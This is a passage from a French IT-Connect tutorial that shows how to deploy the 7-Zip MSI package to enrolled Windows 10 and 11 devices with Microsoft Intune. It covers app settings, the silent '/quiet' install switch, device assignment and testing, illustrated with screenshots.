<figure class="wp-block-image size-large"><img decoding="async" width="800" height="429" src="media/dd2f9514.e-Application-MSI-Exemple-7-Zip-Selection-paquet-MSI-800x429.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Application-MSI-Exemple-7-Zip-Selection-paquet-MSI-800x429.png" alt="Intune - Application MSI - Exemple 7-Zip - Sélection paquet MSI" class="wp-image-76215" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Application-MSI-Exemple-7-Zip-Selection-paquet-MSI-800x429.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Application-MSI-Exemple-7-Zip-Selection-paquet-MSI-550x295.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Application-MSI-Exemple-7-Zip-Selection-paquet-MSI-150x80.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Application-MSI-Exemple-7-Zip-Selection-paquet-MSI-768x412.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Application-MSI-Exemple-7-Zip-Selection-paquet-MSI-50x27.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Application-MSI-Exemple-7-Zip-Selection-paquet-MSI.png 1228w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<h3 class="wp-block-heading">B. Informations sur l'application</h3>



<p>L'étape "<strong>Informations sur l'application</strong>" sert à personnaliser le déploiement de l'application. Au-delà de pouvoir personnaliser le nom et la description, nous devons préciser le nom de l'éditeur, mais pas que ! En effet, j'attire votre attention sur les options suivantes :</p>



<ul>
<li><strong>Contexte d'installation d'application</strong> : cette application sera installée au niveau de la machine et sera disponible pour tous les utilisateurs. Dans certains cas, et selon le package MSI, cette option peut être grisée (avec une valeur prédéfinie).</li>



<li><strong>Ignorer la version de l'application </strong>: cette option permet de ne pas tenir compte de la version de l'application, ce qui est utile pour les applications qui vont se mettre à jour automatiquement, comme Google Chrome.</li>



<li><strong>Arguments de ligne de commande</strong> : c'est ici qu'il faut indiquer le(s) argument(s) associés à l'installation du package. Vous devez au moins indiquer le commutateur permettant d'effectuer une installation silencieuse, soit "/quiet" dans le cas présent.</li>
</ul>



<p>Ce qui donne :</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="900" src="media/4f25f4cf.Intune-Application-MSI-Exemple-7-Zip-Configuration.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Application-MSI-Exemple-7-Zip-Configuration.png" alt="" class="wp-image-76216" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Application-MSI-Exemple-7-Zip-Configuration.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Application-MSI-Exemple-7-Zip-Configuration-550x619.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Application-MSI-Exemple-7-Zip-Configuration-133x150.png 133w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Application-MSI-Exemple-7-Zip-Configuration-768x864.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Application-MSI-Exemple-7-Zip-Configuration-44x50.png 44w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Cliquez sur "<strong>Suivant</strong>".</p>



<h3 class="wp-block-heading">C. Affectations</h3>



<p>Pour finir, <strong>affectez cette application aux appareils ou aux utilisateurs de votre choix</strong>, selon vos besoins. Comme pour les applications au format EXE, nous pouvons rendre cette application obligatoire, la proposer pour les appareils inscrits via le portail d'entreprise ou déclencher la désinstallation. <strong>Dans cet exemple, tous les appareils sont sélectionnés, car il s'agit d'un Lab.</strong></p>



<figure class="wp-block-image size-large"><a href="media/ef28611e.Intune-Application-MSI-Etape-4.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Application-MSI-Etape-4.png"><img decoding="async" width="800" height="388" src="media/43ab84da.Intune-Application-MSI-Etape-4-800x388.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Application-MSI-Etape-4-800x388.png" alt="Intune - Application MSI - Etape 4" class="wp-image-76183" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Application-MSI-Etape-4-800x388.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Application-MSI-Etape-4-550x266.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Application-MSI-Etape-4-150x73.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Application-MSI-Etape-4-768x372.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Application-MSI-Etape-4-50x24.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Application-MSI-Etape-4.png 1354w" sizes="(max-width: 800px) 100vw, 800px" /></a></figure>



<p>Poursuivez jusqu'à la fin et finalisez la création de l'application.</p>



<h3 class="wp-block-heading">D. Finaliser la création de l'application</h3>



<p>Lorsque vous finalisez la création de l'application, le package MSI est chargé sur Microsoft Intune. Ceci peut prendre un peu de temps en fonction de votre débit et de la taille du package.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="800" height="347" src="media/53a2064f.Logiciel-7-Zip-pret-a-etre-deploye-avec-Intune-800x347.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Logiciel-7-Zip-pret-a-etre-deploye-avec-Intune-800x347.png" alt="Logiciel 7-Zip prêt à être déployé avec Intune" class="wp-image-76217" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Logiciel-7-Zip-pret-a-etre-deploye-avec-Intune-800x347.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Logiciel-7-Zip-pret-a-etre-deploye-avec-Intune-550x239.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Logiciel-7-Zip-pret-a-etre-deploye-avec-Intune-150x65.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Logiciel-7-Zip-pret-a-etre-deploye-avec-Intune-768x333.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Logiciel-7-Zip-pret-a-etre-deploye-avec-Intune-50x22.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Logiciel-7-Zip-pret-a-etre-deploye-avec-Intune.png 1030w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>La nouvelle application apparaît bien dans la liste. Il ne reste plus qu'à tester !</p>



<h2 class="wp-block-heading">IV. Tester le déploiement de l'application</h2>



<p>Direction un appareil affecté par le déploiement de l'application 7-Zip pour faire un essai. Un redémarrage de la machine suffit pour lui demander de rafraichir ses stratégies. Assez rapidement, l'application 7-Zip fait son apparition sur la machine ! Mission accomplie !</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="383" src="media/c6860d06.7-Zip-deploye-sur-Windows-avec-Intune.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/7-Zip-deploye-sur-Windows-avec-Intune.jpg" alt="7-Zip déployé sur Windows avec Intune" class="wp-image-76218" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/7-Zip-deploye-sur-Windows-avec-Intune.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/7-Zip-deploye-sur-Windows-avec-Intune-550x263.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/7-Zip-deploye-sur-Windows-avec-Intune-150x72.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/7-Zip-deploye-sur-Windows-avec-Intune-768x368.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/7-Zip-deploye-sur-Windows-avec-Intune-50x24.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<h2 class="wp-block-heading">V. Conclusion</h2>



<p>En suivant ce tutoriel, vous devez être en mesure de déployer 7-Zip ou une autre application sur un ensemble d'appareils <strong>Windows 10</strong> et <strong>Windows 11 </strong>inscrits dans Intune !</p>



<p> Je vous rappelle que le mode de déploiement "<strong>Application métier</strong>" d'<strong>Intune </strong>prend en charge <strong>plusieurs formats</strong> de fichiers : <strong>.msi, .appx, .appxbundle, .msix et .msixbundle</strong>.</p><p>The post <a href="https://www.it-connect.fr/intune-comment-deployer-une-application-au-format-msi/">Intune – Comment déployer une application au format MSI ?</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


